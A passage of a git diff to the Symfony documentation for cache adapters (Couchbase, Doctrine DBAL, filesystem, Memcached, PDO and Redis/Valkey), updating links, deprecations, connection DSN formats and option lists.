all the given adapters. This exposes a simple and efficient method for creating a layered cache. -The ChainAdapter must be provided an array of adapters and optionally a maximum cache +The ChainAdapter must be provided an array of adapters and optionally a default cache lifetime as its constructor arguments:: use Symfony\Component\Cache\Adapter\ChainAdapter; @@ -21,8 +15,8 @@ lifetime as its constructor arguments:: // The ordered list of adapters used to fetch cached items array $adapters, - // The max lifetime of items propagated from lower adapters to upper ones - $maxLifetime = 0 + // The default lifetime of items propagated from lower adapters to upper ones + $defaultLifetime = 0 ); .. note:: diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst index 7043a7c3e95..29c9e26f83c 100644 --- a/components/cache/adapters/couchbasebucket_adapter.rst +++ b/components/cache/adapters/couchbasebucket_adapter.rst @@ -1,28 +1,24 @@ -.. index:: - single: Cache Pool - single: Couchabase Cache +Couchbase Bucket Cache Adapter +============================== -.. _couchbase-adapter: +.. deprecated:: 7.1 -Couchbase Cache Adapter -======================= - -.. versionadded:: 5.1 - - The CouchbaseBucketAdapter was introduced in Symfony 5.1. + The ``CouchbaseBucketAdapter`` is deprecated since Symfony 7.1, use the + :doc:`CouchbaseCollectionAdapter </components/cache/adapters/couchbasecollection_adapter>` + instead. This adapter stores the values in-memory using one (or more) `Couchbase server`_ -instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the -:ref:`Memcached adapter <memcached-adapter>`, it is not limited to the current server's +instances. Unlike the :doc:`APCu adapter </components/cache/adapters/apcu_adapter>`, and similarly to the +:doc:`Memcached adapter </components/cache/adapters/memcached_adapter>`, it is not limited to the current server's shared memory; you can store contents independent of your PHP environment. The ability to utilize a cluster of servers to provide redundancy and/or fail-over is also available. -.. caution:: +.. warning:: **Requirements:** The `Couchbase PHP extension`_ as well as a `Couchbase server`_ must be installed, active, and running to use this adapter. Version ``2.6`` or - greater of the `Couchbase PHP extension`_ is required for this adapter. + less than 3.0 of the `Couchbase PHP extension`_ is required for this adapter. This adapter expects a `Couchbase Bucket`_ instance to be passed as the first parameter. A namespace and default cache lifetime can optionally be passed as @@ -32,20 +28,19 @@ the second and third parameters:: $cache = new CouchbaseBucketAdapter( // the client object that sets options and adds the server instance(s) - \CouchbaseBucket $client, + $client, // the name of bucket - string $bucket, + $bucket, // a string prefixed to the keys of the items stored in this cache - $namespace = '', + $namespace, // the default lifetime (in seconds) for cache items that do not define their // own lifetime, with a value 0 causing items to be stored indefinitely - $defaultLifetime = 0, + $defaultLifetime ); - Configure the Connection ------------------------ @@ -60,7 +55,7 @@ helper method allows creating and configuring a `Couchbase Bucket`_ class instan 'couchbase://localhost' // the DSN can include config options (pass them as a query string): // 'couchbase://localhost:11210?operationTimeout=10' - // 'couchbase://localhost:11210?operationTimeout=10&configTimout=20' + // 'couchbase://localhost:11210?operationTimeout=10&configTimeout=20' ); // pass an array of DSN strings to register multiple servers with the client @@ -77,7 +72,6 @@ helper method allows creating and configuring a `Couchbase Bucket`_ class instan 'couchbase:?host[localhost]&host[localhost:12345]' ); - Configure the Options --------------------- diff --git a/components/cache/adapters/couchbasecollection_adapter.rst b/components/cache/adapters/couchbasecollection_adapter.rst new file mode 100644 index 00000000000..ba78cc46eff --- /dev/null +++ b/components/cache/adapters/couchbasecollection_adapter.rst @@ -0,0 +1,135 @@ +Couchbase Collection Cache Adapter +================================== + +This adapter stores the values in-memory using one (or more) `Couchbase server`_ +instances. Unlike the :doc:`APCu adapter </components/cache/adapters/apcu_adapter>`, and similarly to the +:doc:`Memcached adapter </components/cache/adapters/memcached_adapter>`, it is not limited to the current server's +shared memory; you can store contents independent of your PHP environment. +The ability to utilize a cluster of servers to provide redundancy and/or fail-over +is also available. + +.. warning:: + + **Requirements:** The `Couchbase PHP extension`_ as well as a `Couchbase server`_ + must be installed, active, and running to use this adapter. Version ``3.0`` or + greater of the `Couchbase PHP extension`_ is required for this adapter. + +This adapter expects a `Couchbase Collection`_ instance to be passed as the first +parameter. A namespace and default cache lifetime can optionally be passed as +the second and third parameters:: + + use Symfony\Component\Cache\Adapter\CouchbaseCollectionAdapter; + + $cache = new CouchbaseCollectionAdapter( + // the client object that sets options and adds the server instance(s) + $client, + + // a string prefixed to the keys of the items stored in this cache + $namespace, + + // the default lifetime (in seconds) for cache items that do not define their + // own lifetime, with a value 0 causing items to be stored indefinitely + $defaultLifetime + ); + +Configure the Connection +------------------------ + +The :method:`Symfony\\Component\\Cache\\Adapter\\CouchbaseCollectionAdapter::createConnection` +helper method allows creating and configuring a `Couchbase Collection`_ class instance using a +`Data Source Name (DSN)`_ or an array of DSNs:: + + use Symfony\Component\Cache\Adapter\CouchbaseCollectionAdapter; + + // pass a single DSN string to register a single server with the client + $client = CouchbaseCollectionAdapter::createConnection( + 'couchbase://localhost' + // the DSN can include config options (pass them as a query string): + // 'couchbase://localhost:11210?operationTimeout=10' + // 'couchbase://localhost:11210?operationTimeout=10&configTimout=20' + ); + + // pass an array of DSN strings to register multiple servers with the client + $client = CouchbaseCollectionAdapter::createConnection([ + 'couchbase://10.0.0.100', + 'couchbase://10.0.0.101', + 'couchbase://10.0.0.102', + // etc... + ]); + + // a single DSN can define multiple servers using the following syntax: + // host[hostname-or-IP:port] (where port is optional). Sockets must include a trailing ':' + $client = CouchbaseCollectionAdapter::createConnection( + 'couchbase:?host[localhost]&host[localhost:12345]' + ); + +Configure the Options +--------------------- + +The :method:`Symfony\\Component\\Cache\\Adapter\\CouchbaseCollectionAdapter::createConnection` +helper method also accepts an array of options as its second argument. The +expected format is an associative array of ``key => value`` pairs representing +option names and their respective values:: + + use Symfony\Component\Cache\Adapter\CouchbaseCollectionAdapter; + + $client = CouchbaseCollectionAdapter::createConnection( + // a DSN string or an array of DSN strings + [], + + // associative array of configuration options + [ + 'username' => 'xxxxxx', + 'password' => 'yyyyyy', + 'configTimeout' => '100', + ] + ); + +Available Options +~~~~~~~~~~~~~~~~~ + +``username`` (type: ``string``) + Username for connection ``CouchbaseCluster``. + +``password`` (type: ``string``) + Password of connection ``CouchbaseCluster``. + +``operationTimeout`` (type: ``int``, default: ``2500000``) + The operation timeout (in microseconds) is the maximum amount of time the library will + wait for an operation to receive a response before invoking its callback with a failure status. + +``configTimeout`` (type: ``int``, default: ``5000000``) + How long (in microseconds) the client will wait to obtain the initial configuration. + +``configNodeTimeout`` (type: ``int``, default: ``2000000``) + Per-node configuration timeout (in microseconds). + +``viewTimeout`` (type: ``int``, default: ``75000000``) + The I/O timeout (in microseconds) for HTTP requests to Couchbase Views API. + +``httpTimeout`` (type: ``int``, default: ``75000000``) + The I/O timeout (in microseconds) for HTTP queries (management API). + +``configDelay`` (type: ``int``, default: ``10000``) + Config refresh throttling + Modify the amount of time (in microseconds) before the configuration error threshold will forcefully be set to its maximum number forcing a configuration refresh. + +``htconfigIdleTimeout`` (type: ``int``, default: ``4294967295``) + Idling/Persistence for HTTP bootstrap (in microseconds). + +``durabilityInterval`` (type: ``int``, default: ``100000``) + The time (in microseconds) the client will wait between repeated probes to a given server. + +``durabilityTimeout`` (type: ``int``, default: ``5000000``) + The time (in microseconds) the client will spend sending repeated probes to a given key's vBucket masters and replicas before they are deemed not to have satisfied the durability requirements. + +.. tip:: + + Reference the `Couchbase Collection`_ extension's `predefined constants`_ documentation + for additional information about the available options. + +.. _`Couchbase PHP extension`: https://docs.couchbase.com/sdk-api/couchbase-php-client/namespaces/couchbase.html +.. _`predefined constants`: https://docs.couchbase.com/sdk-api/couchbase-php-client/classes/Couchbase-Bucket.html +.. _`Couchbase server`: https://couchbase.com/ +.. _`Couchbase Collection`: https://docs.couchbase.com/sdk-api/couchbase-php-client/classes/Couchbase-Collection.html +.. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name diff --git a/components/cache/adapters/doctrine_adapter.rst b/components/cache/adapters/doctrine_adapter.rst deleted file mode 100644 index 198ae19338c..00000000000 --- a/components/cache/adapters/doctrine_adapter.rst +++ /dev/null @@ -1,42 +0,0 @@ -.. index:: - single: Cache Pool - single: Doctrine Cache - -.. _doctrine-adapter: - -Doctrine Cache Adapter -====================== - -This adapter wraps any class extending the `Doctrine Cache`_ abstract provider, allowing -you to use these providers in your application as if they were Symfony Cache adapters. - -This adapter expects a ``\Doctrine\Common\Cache\CacheProvider`` instance as its first -parameter, and optionally a namespace and default cache lifetime as its second and -third parameters:: - - use Doctrine\Common\Cache\CacheProvider; - use Doctrine\Common\Cache\SQLite3Cache; - use Symfony\Component\Cache\Adapter\DoctrineAdapter; - - $provider = new SQLite3Cache(new \SQLite3(__DIR__.'/cache/data.sqlite'), 'youTableName'); - - $cache = new DoctrineAdapter( - - // a cache provider instance - CacheProvider $provider, - - // a string prefixed to the keys of the items stored in this cache - $namespace = '', - - // the default lifetime (in seconds) for cache items that do not define their - // own lifetime, with a value 0 causing items to be stored indefinitely (i.e. - // until the database table is truncated or its rows are otherwise deleted) - $defaultLifetime = 0 - ); - -.. tip:: - - A :class:`Symfony\\Component\\Cache\\DoctrineProvider` class is also provided by the - component to use any PSR6-compatible implementations with Doctrine-compatible classes. - -.. _`Doctrine Cache`: https://github.com/doctrine/cache diff --git a/components/cache/adapters/doctrine_dbal_adapter.rst b/components/cache/adapters/doctrine_dbal_adapter.rst new file mode 100644 index 00000000000..68732ddd3fa --- /dev/null +++ b/components/cache/adapters/doctrine_dbal_adapter.rst @@ -0,0 +1,60 @@ +Doctrine DBAL Cache Adapter +=========================== + +The Doctrine DBAL adapters store the cache items in a table of an SQL database. + +.. note:: + + This adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`, + allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>` + by calling the ``prune()`` method. + +The :class:`Symfony\\Component\\Cache\\Adapter\\DoctrineDbalAdapter` requires a +`Doctrine DBAL Connection`_, or `Doctrine DBAL URL`_ as its first parameter. +You can pass a namespace, default cache lifetime, and options array as the other +optional arguments:: + + use Symfony\Component\Cache\Adapter\DoctrineDbalAdapter; + + $cache = new DoctrineDbalAdapter( + + // a Doctrine DBAL connection or DBAL URL + $databaseConnectionOrURL, + + // the string prefixed to the keys of the items stored in this cache + $namespace = '', + + // the default lifetime (in seconds) for cache items that do not define their + // own lifetime, with a value 0 causing items to be stored indefinitely (i.e. + // until the database table is truncated or its rows are otherwise deleted) + $defaultLifetime = 0, + + // an array of options for configuring the database table and connection + $options = [] + ); + +.. note:: + + DBAL Connection are lazy-loaded by default; some additional options may be + necessary to detect the database engine and version without opening the + connection. + +The adapter uses SQL syntax that is optimized for database server that it is connected to. +The following database servers are known to be compatible: + +* MySQL 5.7 and newer +* MariaDB 10.2 and newer +* Oracle 10g and newer +* SQL Server 2012 and newer +* SQLite 3.24 or later +* PostgreSQL 9.5 or later + +.. note:: + + Newer releases of Doctrine DBAL might increase these minimal versions. Check + the manual page on `Doctrine DBAL Platforms`_ if your database server is + compatible with the installed Doctrine DBAL version. + +.. _`Doctrine DBAL Connection`: https://github.com/doctrine/dbal/blob/master/src/Connection.php +.. _`Doctrine DBAL URL`: https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/configuration.html#connecting-using-a-url +.. _`Doctrine DBAL Platforms`: https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/platforms.html diff --git a/components/cache/adapters/filesystem_adapter.rst b/components/cache/adapters/filesystem_adapter.rst index 33097fbd202..db877454859 100644 --- a/components/cache/adapters/filesystem_adapter.rst +++ b/components/cache/adapters/filesystem_adapter.rst @@ -1,14 +1,8 @@ -.. index:: - single: Cache Pool - single: Filesystem Cache - -.. _component-cache-filesystem-adapter: - Filesystem Cache Adapter ======================== This adapter offers improved application performance for those who cannot install -tools like :ref:`APCu <apcu-adapter>` or :ref:`Redis <redis-adapter>` in their +tools like :doc:`APCu </components/cache/adapters/apcu_adapter>` or :doc:`Redis </components/cache/adapters/redis_adapter>` in their environment. It stores the cache item expiration and content as regular files in a collection of directories on a locally mounted filesystem. @@ -39,21 +33,35 @@ and cache root path as constructor parameters:: $directory = null ); -.. caution:: +.. warning:: The overhead of filesystem IO often makes this adapter one of the *slower* choices. If throughput is paramount, the in-memory adapters - (:ref:`Apcu <apcu-adapter>`, :ref:`Memcached <memcached-adapter>`, and - :ref:`Redis <redis-adapter>`) or the database adapters - (:ref:`Doctrine <doctrine-adapter>` and :ref:`PDO <pdo-doctrine-adapter>`) + (:doc:`Apcu </components/cache/adapters/apcu_adapter>`, :doc:`Memcached </components/cache/adapters/memcached_adapter>`, + and :doc:`Redis </components/cache/adapters/redis_adapter>`) or the database adapters + (:doc:`Doctrine DBAL </components/cache/adapters/doctrine_dbal_adapter>`, :doc:`PDO </components/cache/adapters/pdo_adapter>`) are recommended. .. note:: - Since Symfony 3.4, this adapter implements - :class:`Symfony\\Component\\Cache\\PruneableInterface`, enabling manual - :ref:`pruning of expired cache items <component-cache-cache-pool-prune>` by - calling its ``prune()`` method. + This adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`, + enabling manual :ref:`pruning of expired cache items <component-cache-cache-pool-prune>` + by calling its ``prune()`` method. + +.. _filesystem-tag-aware-adapter: + +Working with Tags +----------------- + +In order to use tag-based invalidation, you can wrap your adapter in +:class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`, but it's often +more interesting to use the dedicated :class:`Symfony\\Component\\Cache\\Adapter\\FilesystemTagAwareAdapter`. +Since tag invalidation logic is implemented using links on filesystem, this +adapter offers better read performance when using tag-based invalidation:: + + use Symfony\Component\Cache\Adapter\FilesystemTagAwareAdapter; + + $cache = new FilesystemTagAwareAdapter(); .. _`tmpfs`: https://wiki.archlinux.org/index.php/tmpfs .. _`RAM disk solutions`: https://en.wikipedia.org/wiki/List_of_RAM_drive_software diff --git a/components/cache/adapters/memcached_adapter.rst b/components/cache/adapters/memcached_adapter.rst index 95161637b25..64baf0d4702 100644 --- a/components/cache/adapters/memcached_adapter.rst +++ b/components/cache/adapters/memcached_adapter.rst @@ -1,20 +1,14 @@ -.. index:: - single: Cache Pool - single: Memcached Cache - -.. _memcached-adapter: - Memcached Cache Adapter ======================= This adapter stores the values in-memory using one (or more) `Memcached server`_ -instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the -:ref:`Redis adapter <redis-adapter>`, it is not limited to the current server's +instances. Unlike the :doc:`APCu adapter </components/cache/adapters/apcu_adapter>`, and similarly to the +:doc:`Redis adapter </components/cache/adapters/redis_adapter>`, it is not limited to the current server's shared memory; you can store contents independent of your PHP environment. The ability to utilize a cluster of servers to provide redundancy and/or fail-over is also available. -.. caution:: +.. warning:: **Requirements:** The `Memcached PHP extension`_ as well as a `Memcached server`_ must be installed, active, and running to use this adapter. Version ``2.2`` or @@ -120,7 +114,6 @@ option names and their respective values:: // associative array of configuration options [ - 'compression' => true, 'libketama_compatible' => true, 'serializer' => 'igbinary', ] @@ -139,17 +132,6 @@ Available Options server(s). Any action that retrieves data, quits the connection, or closes down the connection will cause the buffer to be committed. -``compression`` (type: ``bool``, default: ``true``) - Enables or disables payload compression, where item values longer than 100 - bytes are compressed during storage and decompressed during retrieval. - -``compression_type`` (type: ``string``) - Specifies the compression method used on value payloads. when the - **compression** option is enabled. - - Valid option values include ``fastlz`` and ``zlib``, with a default value - that *varies based on flags used at compilation*. - ``connect_timeout`` (type: ``int``, default: ``1000``) Specifies the timeout (in milliseconds) of socket connection operations when the ``no_block`` option is enabled. @@ -274,7 +256,7 @@ Available Options executed in a "fire-and-forget" manner; no attempt to ensure the operation has been received or acted on will be made once the client has executed it. - .. caution:: + .. warning:: Not all library operations are tested in this mode. Mixed TCP and UDP servers are not allowed. diff --git a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst b/components/cache/adapters/pdo_adapter.rst similarity index 60% rename from components/cache/adapters/pdo_doctrine_dbal_adapter.rst rename to components/cache/adapters/pdo_adapter.rst index 841071dc586..3cdeb87427a 100644 --- a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst +++ b/components/cache/adapters/pdo_adapter.rst @@ -1,22 +1,23 @@ -.. index:: - single: Cache Pool - single: PDO Cache, Doctrine DBAL Cache +PDO Cache Adapter +================= -.. _pdo-doctrine-adapter: +The PDO adapters store the cache items in a table of an SQL database. -PDO & Doctrine DBAL Cache Adapter -================================= +.. note:: + + This adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`, + allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>` + by calling the ``prune()`` method. -This adapter stores the cache items in an SQL database. It requires a :phpclass:`PDO`, -`Doctrine DBAL Connection`_, or `Data Source Name (DSN)`_ as its first parameter, and -optionally a namespace, default cache lifetime, and options array as its second, -third, and forth parameters:: +The :class:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter` requires a :phpclass:`PDO`, +or `DSN`_ as its first parameter. You can pass a namespace, +default cache lifetime, and options array as the other optional arguments:: use Symfony\Component\Cache\Adapter\PdoAdapter; $cache = new PdoAdapter( - // a PDO, a Doctrine DBAL connection or DSN for lazy connecting through PDO + // a PDO connection or DSN for lazy connecting through PDO $databaseConnectionOrDSN, // the string prefixed to the keys of the items stored in this cache @@ -42,11 +43,5 @@ your code. When passed a `Data Source Name (DSN)`_ string (instead of a database connection class instance), the connection will be lazy-loaded when needed. -.. note:: - - Since Symfony 3.4, this adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`, - allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>` by - calling its ``prune()`` method. - -.. _`Doctrine DBAL Connection`: https://github.com/doctrine/dbal/blob/master/src/Connection.php +.. _`DSN`: https://php.net/manual/pdo.drivers.php .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name diff --git a/components/cache/adapters/php_array_cache_adapter.rst b/components/cache/adapters/php_array_cache_adapter.rst index 631c153f5cb..ae5ef13f790 100644 --- a/components/cache/adapters/php_array_cache_adapter.rst +++ b/components/cache/adapters/php_array_cache_adapter.rst @@ -1,13 +1,9 @@ -.. index:: - single: Cache Pool - single: PHP Array Cache - PHP Array Cache Adapter ======================= This adapter is a high performance cache for static data (e.g. application configuration) that is optimized and preloaded into OPcache memory storage. It is suited for any data that -is mostly read-only after warmup:: +is mostly read-only after warm-up:: use Symfony\Component\Cache\Adapter\FilesystemAdapter; use Symfony\Component\Cache\Adapter\PhpArrayAdapter; @@ -23,7 +19,7 @@ is mostly read-only after warmup:: $cache = new PhpArrayAdapter( // single file where values are cached __DIR__ . '/somefile.cache', - // a backup adapter, if you set values after warmup + // a backup adapter, if you set values after warm-up new FilesystemAdapter() ); $cache->warmUp($values); diff --git a/components/cache/adapters/php_files_adapter.rst b/components/cache/adapters/php_files_adapter.rst index 5bec5715801..6f171f0fede 100644 --- a/components/cache/adapters/php_files_adapter.rst +++ b/components/cache/adapters/php_files_adapter.rst @@ -1,13 +1,7 @@ -.. index:: - single: Cache Pool - single: PHP Files Cache - -.. _component-cache-files-adapter: - PHP Files Cache Adapter ======================= -Similarly to :ref:`Filesystem Adapter <component-cache-filesystem-adapter>`, this cache +Similarly to :doc:`Filesystem Adapter </components/cache/adapters/filesystem_adapter>`, this cache implementation writes cache entries out to disk, but unlike the Filesystem cache adapter, the PHP Files cache adapter writes and reads back these cache files *as native PHP code*. For example, caching the value ``['my', 'cached', 'array']`` will write out a cache @@ -34,7 +28,7 @@ file similar to the following:: handles file includes, this adapter has the potential to be much faster than other filesystem-based caches. -.. caution:: +.. warning:: While it supports updates and because it is using OPcache as a backend, this adapter is better suited for append-mostly needs. Using it in other scenarios might lead to @@ -63,7 +57,7 @@ directory path as constructor arguments:: .. note:: - Since Symfony 3.4, this adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`, + This adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`, allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>` by calling its ``prune()`` method. diff --git a/components/cache/adapters/proxy_adapter.rst b/components/cache/adapters/proxy_adapter.rst index 203521f0e4c..5177bf219df 100644 --- a/components/cache/adapters/proxy_adapter.rst +++ b/components/cache/adapters/proxy_adapter.rst @@ -1,7 +1,3 @@ -.. index:: - single: Cache Pool - single: Proxy Cache - Proxy Cache Adapter =================== diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst index 64bf7ab9e4c..ac32e1bbd39 100644 --- a/components/cache/adapters/redis_adapter.rst +++ b/components/cache/adapters/redis_adapter.rst @@ -1,9 +1,3 @@ -.. index:: - single: Cache Pool - single: Redis Cache - -.. _redis-adapter: - Redis Cache Adapter =================== @@ -14,20 +8,21 @@ Redis Cache Adapter :ref:`Symfony Cache configuration <cache-configuration-with-frameworkbundle>` article if you are using it in a Symfony application. -This adapter stores the values in-memory using one (or more) `Redis server`_ instances. +This adapter stores the values in-memory using one (or more) `Redis server`_ +or `Valkey`_ server instances. -Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the -:ref:`Memcached adapter <memcached-adapter>`, it is not limited to the current server's +Unlike the :doc:`APCu adapter </components/cache/adapters/apcu_adapter>`, and similarly to the +:doc:`Memcached adapter </components/cache/adapters/memcached_adapter>`, it is not limited to the current server's shared memory; you can store contents independent of your PHP environment. The ability to utilize a cluster of servers to provide redundancy and/or fail-over is also available. -.. caution:: +.. warning:: **Requirements:** At least one `Redis server`_ must be installed and running to use this adapter. Additionally, this adapter requires a compatible extension or library that implements - ``\Redis``, ``\RedisArray``, ``RedisCluster``, or ``\Predis``. + ``\Redis``, ``\RedisArray``, ``RedisCluster``, ``\Relay\Relay``, ``\Relay\Cluster`` or ``\Predis``. -This adapter expects a `Redis`_, `RedisArray`_, `RedisCluster`_, or `Predis`_ instance to be +This adapter expects a `Redis`_, `RedisArray`_, `RedisCluster`_, `Relay`_, `RelayCluster`_ or `Predis`_ instance to be passed as the first parameter. A namespace and default cache lifetime can optionally be passed as the second and third parameters:: @@ -44,13 +39,23 @@ as the second and third parameters:: // the default lifetime (in seconds) for cache items that do not define their // own lifetime, with a value 0 causing items to be stored indefinitely (i.e. // until RedisAdapter::clear() is invoked or the server(s) are purged) - $defaultLifetime = 0 + $defaultLifetime = 0, + + // $marshaller (optional) An instance of MarshallerInterface to control the serialization + // and deserialization of cache items. By default, native PHP serialization is used. + // This can be useful for compressing data, applying custom serialization logic, or + // optimizing the size and performance of cached items + ?MarshallerInterface $marshaller = null ); +.. versionadded:: 7.3 + + Support for ``Relay\Cluster`` was introduced in Symfony 7.3. + Configure the Connection ------------------------ -The :method:`Symfony\\Component\\Cache\\Adapter\\RedisAdapter::createConnection` +The :method:`Symfony\\Component\\Cache\\Traits\\RedisTrait::createConnection` helper method allows creating and configuring the Redis client class instance using a `Data Source Name (DSN)`_:: @@ -61,16 +66,28 @@ helper method allows creating and configuring the Redis client class instance us 'redis://localhost' ); +.. versionadded:: 7.3 + + Starting in Symfony 7.3, when using Valkey servers you can use the + ``valkey[s]:`` scheme instead of the ``redis[s]:`` one in your DSNs. + The DSN can specify either an IP/host (and an optional port) or a socket path, as well as a -password and a database index. +password and a database index. To enable TLS for connections, the scheme ``redis`` must be +replaced by ``rediss`` (the second ``s`` means "secure"). .. note:: - A `Data Source Name (DSN)`_ for this adapter must use the following format. + A `Data Source Name (DSN)`_ for this adapter must use either one of the following formats. .. code-block:: text - redis://[pass@][ip|host|socket[:port]][/db-index] + redis[s]://[pass@][ip|host|socket[:port]][/db-index] + + .. code-block:: text + + redis[s]:[[user]:pass@]?[ip|host|socket[:port]][¶ms] + + Values for placeholders ``[user]``, ``[:port]``, ``[/db-index]`` and ``[¶ms]`` are optional. Below are common examples of valid DSNs showing a combination of available values:: @@ -88,20 +105,35 @@ Below are common examples of valid DSNs showing a combination of available value // socket "/var/run/redis.sock" and auth "bad-pass" RedisAdapter::createConnection('redis://bad-pass@/var/run/redis.sock'); - // a single DSN can define multiple servers using the following syntax: - // host[hostname-or-IP:port] (where port is optional). Sockets must include a trailing ':' + // host "redis1" (docker container) with alternate DSN syntax and selecting database index "3" + RedisAdapter::createConnection('redis:?host[redis1:6379]&dbindex=3'); + + // providing credentials with alternate DSN syntax + RedisAdapter::createConnection('redis:default:verysecurepassword@?host[redis1:6379]&dbindex=3'); + + // a single DSN can also define multiple servers RedisAdapter::createConnection( 'redis:?host[localhost]&host[localhost:6379]&host[/var/run/redis.sock:]&auth=my-password&redis_cluster=1' ); `Redis Sentinel`_, which provides high availability for Redis, is also supported -when using the Predis library. Use the ``redis_sentinel`` parameter to set the -name of your service group:: +when using the PHP Redis Extension v5.2+ or the Predis library. Use the ``redis_sentinel`` +parameter to set the name of your service group:: RedisAdapter::createConnection( 'redis:?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster' ); + // providing credentials + RedisAdapter::createConnection( + 'redis:default:verysecurepassword@?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster' + ); + + // providing credentials and selecting database index "3" + RedisAdapter::createConnection( + 'redis:default:verysecurepassword@?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster&dbindex=3' + ); + .. note:: See the :class:`Symfony\\Component\\Cache\\Traits\\RedisTrait` for more options @@ -123,14 +155,19 @@ array of ``key => value`` pairs representing option names and their respective v // associative array of configuration options [ - 'compression' => true, - 'lazy' => false, + 'class' => null, 'persistent' => 0, 'persistent_id' => null, - 'tcp_keepalive' => 0, 'timeout' => 30, 'read_timeout' => 0, 'retry_interval' => 0, + 'tcp_keepalive' => 0, + 'lazy' => null, + 'redis_cluster' => false, + 'redis_sentinel' => null, + 'dbindex' => 0, + 'failover' => 'none', + 'ssl' => null, ] ); @@ -138,19 +175,11 @@ array of ``key => value`` pairs representing option names and their respective v Available Options ~~~~~~~~~~~~~~~~~ -``class`` (type: ``string``) - Specifies the connection library to return, either ``\Redis`` or ``\Predis\Client``. - If none is specified, it will return ``\Redis`` if the ``redis`` extension is - available, and ``\Predis\Client`` otherwise. - -``compression`` (type: ``bool``, default: ``true``) - Enables or disables compression of items. This requires phpredis v4 or higher with - LZF support enabled. - -``lazy`` (type: ``bool``, default: ``false``) - Enables or disables lazy connections to the backend. It's ``false`` by - default when using this as a stand-alone component and ``true`` by default - when using it inside a Symfony application. +``class`` (type: ``string``, default: ``null``) + Specifies the connection library to return, either ``\Redis``, ``\Relay\Relay`` or ``\Predis\Client``. + If none is specified, fallback value is in following order, depending which one is available first: + ``\Redis``, ``\Relay\Relay``, ``\Predis\Client``. Explicitly set this to ``\Predis\Client`` for Sentinel if you are + running into issues when retrieving master information. ``persistent`` (type: ``int``, default: ``0``) Enables or disables use of persistent connections. A value of ``0`` disables persistent @@ -159,6 +188,10 @@ Available Options ``persistent_id`` (type: ``string|null``, default: ``null``) Specifies the persistent id string to use for a persistent connection. +``timeout`` (type: ``int``, default: ``30``) + Specifies the time (in seconds) used to connect to a Redis server before the + connection attempt times out. + ``read_timeout`` (type: ``int``, default: ``0``) Specifies the time (in seconds) used when performing read operations on the underlying network resource before the operation times out. @@ -171,9 +204,59 @@ Available Options Specifies the `TCP-keepalive`_ timeout (in seconds) of the connection. This requires phpredis v4 or higher and a TCP-keepalive enabled server. -``timeout`` (type: ``int``, default: ``30``) - Specifies the time (in seconds) used to connect to a Redis server before the - connection attempt times out. +``lazy`` (type: ``bool``, default: ``null``) + Enables or disables lazy connections to the backend. It's ``false`` by + default when using this as a stand-alone component and ``true`` by default + when using it inside a Symfony application. + +``redis_cluster`` (type: ``bool``, default: ``false``) + Enables or disables redis cluster. The actual value passed is irrelevant as long as it passes loose comparison + checks: ``redis_cluster=1`` will suffice. + +``redis_sentinel`` (type: ``string``, default: ``null``) + Specifies the master name connected to the sentinels. + +``sentinel_master`` (type: ``string``, default: ``null``) + Alias of ``redis_sentinel`` option. + +``dbindex`` (type: ``int``, default: ``0``) + Specifies the database index to select. + +``failover`` (type: ``string``, default: ``none``) + Specifies failover for cluster implementations. For ``\RedisCluster`` valid options are ``none`` (default), + ``error``, ``distribute`` or ``slaves``. For ``\Predis\ClientInterface`` valid options are ``slaves`` + or ``distribute``. + +``ssl`` (type: ``array``, default: ``null``) + SSL context options. See `php.net/context.ssl`_ for more information. + +``relay_cluster_context`` (type: ``array``, default: ``[]``) + Defines configuration options specific to ``\Relay\Cluster``. For example, to + user a self-signed certificate for testing in local environment:: + + $options = [ + // ... + 'relay_cluster_context' => [ + // ... + 'stream' => [ + 'verify_peer' => false, + 'verify_peer_name' => false, + 'allow_self_signed' => true, + 'local_cert' => '/valkey.crt', + 'local_pk' => '/valkey.key', + 'cafile' => '/valkey.crt', + ], + ], + ]; + +.. versionadded:: 7.1 + + The option ``sentinel_master`` as an alias for ``redis_sentinel`` was introduced + in Symfony 7.1. + +.. versionadded:: 7.3 + + The ``relay_cluster_context`` option was introduced in Symfony 7.3. .. note:: @@ -182,10 +265,31 @@ Available Options .. _redis-tag-aware-adapter: +Configuring Redis +----------------- + +When using Redis as cache, you should configure the ``maxmemory`` and ``maxmemory-policy`` +settings. By setting ``maxmemory``, you limit how much memory Redis is allowed to consume. +If the amount is too low, Redis will drop entries that would still be useful and you benefit +less from your cache. Setting the ``maxmemory-policy`` to ``allkeys-lru`` tells Redis that +it is ok to drop data when it runs out of memory, and to first drop the oldest entries (least +recently used). If you do not allow Redis to drop entries, it will return an error when you +try to add data when no memory is available. An example setting could look as follows: + +.. code-block:: ini + + maxmemory 100mb + maxmemory-policy allkeys-lru + Working with Tags ----------------- -In order to use tag-based invalidation, you can wrap your adapter in :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`, but when Redis is used as backend, it's often more interesting to use the dedicated :class:`Symfony\\Component\\Cache\\Adapter\\RedisTagAwareAdapter`. Since tag invalidation logic is implemented in Redis itself, this adapter offers 